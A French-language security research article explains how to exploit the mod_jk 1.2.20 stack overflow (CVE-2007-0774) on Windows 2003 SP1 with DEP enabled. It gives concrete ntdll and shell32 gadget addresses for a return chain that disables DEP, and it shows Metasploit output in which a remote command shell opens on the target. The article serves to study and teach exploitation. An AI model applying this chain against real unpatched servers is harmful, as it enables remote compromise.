

# Contournement de Data Prevention Execution : Exploitation de mod\_jk 1.2.20

Romain Raboin  
rraboin@atlab.fr

<http://www.atlab.fr> - <http://www.lasecuriteoffensive.fr>

## 1 Introduction

Si l'exploitation de la vulnérabilité mod\_jk CVE-2007-0774 [1] est triviale [2] sous Windows lorsque DEP est désactivé, elle devient un peu plus complexe lorsque cette protection est activée. Cette vulnérabilité est un simple buffer overflow présent dans la fonction : *map\_uri\_to\_worker*.

Extrait du code vulnérable :

```
const char *map_uri_to_worker(jk_uri_worker_map_t *uw_map,
                             const char *uri, jk_logger_t *l)
{
    unsigned int i;
    char *url_rewrite;
    const char *rv = NULL;
    char url[JK_MAX_URI_LEN+1];

    ...

    for (i = 0; i < strlen(uri); i++)
        if (uri[i] == ';' )
            break;
        else
            url[i] = uri[i];
    url[i] = '\0';
```

La boucle *for* effectue une copie de la chaîne *uri* vers l'espace mémoire *url*. Cependant la taille de la chaîne *uri* pouvant être plus grande que *JK\_MAX\_URI\_LEN+1*, il est possible de déclencher facilement un débordement du buffer *uri*.

Le patch de la version 1.2.21 consiste simplement à vérifier la taille de *uri* avant la copie du caractère :

```

for (i = 0; i < strlen(uri); i++) {
    if (i == JK_MAX_URI_LEN) {
        jk_log(1, JK_LOG_WARNING,
            "Uri %s is invalid. Uri must be smaller then %d chars",
            uri, JK_MAX_URI_LEN);
        JK_TRACE_EXIT(1);
    }
    ...
}

```

## 2 Exploitation

Le contournement de DEP se base sur une technique décrite dans l'article *Bypassing Windows Hardware-enforced Data Execution Prevention* [3]. Pour faire simple, cette technique consiste à créer une chaîne de retour de fonction [4] permettant d'appeler la fonction *LdrpCheckNXCompatibility* présente dans *ntdll.dll*.

Cette fonction a pour but d'effectuer différents tests pour vérifier que le binaire est compatible avec la protection et la désactiver si ce n'est pas le cas. En appelant cette fonction d'une certaine façon, il est possible de désactiver DEP et d'exécuter du code sur la pile.

En effet, elle fera un appel à *ZwSetInformationProcess* avec le paramètre *ProcessExecuteFlags* qui désactivera DEP pour le processus courant. Il n'est pas possible d'appeler directement *ZwSetInformationProcess* via notre chaîne d'appel, les paramètres à passer à cette fonction empêcheraient l'exploitation dans le cas présent de cette vulnérabilité *mod\_jk* (caractères interdits dans l'URI, null byte).

Extrait de *ntdll.dll* :

```

7c835947 3c01          cmp     al,1
7c835949 0f84c48a0000 je     ntdll!LdrpCheckNXCompatibility+0x2b (7c83e413)

7c83e413 c745fc02000000 mov    dword ptr [ebp-4],2
7c83e41a 6a04          push   4
7c83e41c 8d45fc       lea   eax,[ebp-4]
7c83e41f 50          push   eax
7c83e420 6a22          push   22h
7c83e422 6aff          push   0FFFFFFFh
7c83e424 e82f3afeff   call  ntdll!ZwSetInformationProcess (7c821e58)

```

Pour cette version de Windows (2003 SP1 US), il faut faire un appel à l'adresse `0x7c835947` en ayant préalablement mis le registre `al` à 1. La fonction appelle ensuite *ZwSetInformationProcess* pour le handle -1 (qui correspond au processus courant) et avec le flag *ProcessExecuteFlags* (0x22). On commence par mettre 1 dans le registre `al` via une suite d'opcodes de *shell32.dll*

```

7C9851BD  B0 01          MOV AL,1
7C9851BF  C2 1000        RETN 10

```

Un problème se pose pour la 2ème adresse à placer dans notre chaîne. Lors de l'écrasement de la pile, nous allons écraser les arguments de la fonction. Le premier argument *jk\_uri\_worker\_map\_t uw\_map* est utilisé dans la suite de la fonction de la façon suivante :

```
if (uw_map->fname)
    uri_worker_map_update(uw_map, 1);
```

Ce qui nous donne en assembleur :

```
6A6C7466  8BBC24 1C100000  MOV EDI,DWORD PTR SS:[ESP+101C]          ; mod_jk.6A6C DFA1
6A6C746D  8B87 40200000  MOV EAX,DWORD PTR DS:[EDI+2040]
6A6C7473  85C0          TEST EAX,EAX
6A6C7475  74 0A        JE SHORT mod_jk.6A6C7481
6A6C7477  56          PUSH ESI
6A6C7478  57          PUSH EDI
6A6C7479  E8 92070000  CALL mod_jk.6A6C7C10
```

Il faut donc que le pointeur *uw\_map* soit valide et que *uw\_map->fname* pointe de préférence sur 0 afin d'éviter d'appeler la fonction *uri\_worker\_map\_update* avec *uw\_map* modifié. Il est aussi nécessaire que *uw\_map* soit valide pour continuer la chaîne d'appel pour l'exploitation. Afin de trouver ce pointeur, on cherche par exemple un *ret* à la fin du module. L'adresse de ce *ret* + 0x2040 doit pointer dans les 0 de padding de la fin de page du chargement de la section du module.

Ensuite avant d'appeler *LdrpCheckNXCompatibility* directement à l'adresse 0x7c835947, il faut rééquilibrer la pile et le pointeur de frame. Grâce à ce rééquilibrage, il est possible de sortir du *leave / ret* de cette fonction sans faire *crasher* le programme, et de tomber directement sur la pile pour exécuter un *jmp esp*. Pour ce faire, nous utilisons tout d'abord la suite d'instructions suivante présente dans *shell32.dll* :

```
7C911F56  54          PUSH ESP
7C911F57  5D          POP EBP
7C911F58  C2 0400     RETN 4
```

Pour finir le positionnement du frame pointer, on affine via plusieurs appels à cette adresse (toujours dans *shell32.dll*)

```
7C93CBFB  4D          DEC EBP
7C93CBFC  C3          RETN
```

Tout est prêt maintenant pour sauter directement dans *LdrpCheckNXCompatibility* à l'adresse 0x7c835947. Le registre *al* étant égal à 1, le déroulement de cet appel va directement désactiver la protection DEP. Il est alors possible d'exécuter du code directement sur la pile, en commençant par un *jmp esp* pour maîtriser de façon fiable le début de l'exécution du shellcode.

Pour résumer, la chaîne d'exécution se déroule de la façon suivante :

1. Mettre 1 dans le registre al
2. Choisir une adresse de ret telle que cette adresse + 0x2040 pointe sur 0
3. Rééquilibrer la pile et avoir un frame pointer correct
4. Appeler *LdrpCheckNXCompatibility*
5. Utiliser le *jmp esp* pour lancer l'exécution du shellcode

Démonstration d'un exploit metasploit

```
msf exploit(mod_jk) > exploit
```

```
[*] Started bind handler
```

```
[*] Trying target Windows 2003 SP1 US - mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x)...
```

```
[*] Command shell session 2 opened (192.168.106.1:56282 -> 192.168.106.141:4444)
```

```
Microsoft Windows [Version 5.2.3790]
```

```
(C) Copyright 1985-2003 Microsoft Corp.
```

```
C:\Program Files\Apache Software Foundation\Apache2.2>systeminfo  
systeminfo
```

```
Host Name:
```

```
W2K3SP1US
```

```
OS Name:
```

```
Microsoft(R) Windows(R) Server 2003, Enterprise Edition
```

```
OS Version:
```

```
5.2.3790 Service Pack 1 Build 3790
```

```
...
```

## References

1. Apache Tomcat JK Web Server Connector Long URL Stack Overflow Vulnerability  
*<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0774>*
2. Exploitation de mod\_jk 1.2.20 via SEH overwriting  
*[http://actes.sstic.org/SSTIC07/Rump\\_sessions/SSTIC07-rump-Gregoire-faille\\_mod\\_jk.pdf](http://actes.sstic.org/SSTIC07/Rump_sessions/SSTIC07-rump-Gregoire-faille_mod_jk.pdf)*
3. Bypassing Windows Hardware-enforced Data Execution Prevention  
*<http://uninformed.org/?v=2&a=4>*
4. Return-to-libc attack  
*[http://en.wikipedia.org/wiki/Return-to-libc\\_attack](http://en.wikipedia.org/wiki/Return-to-libc_attack)*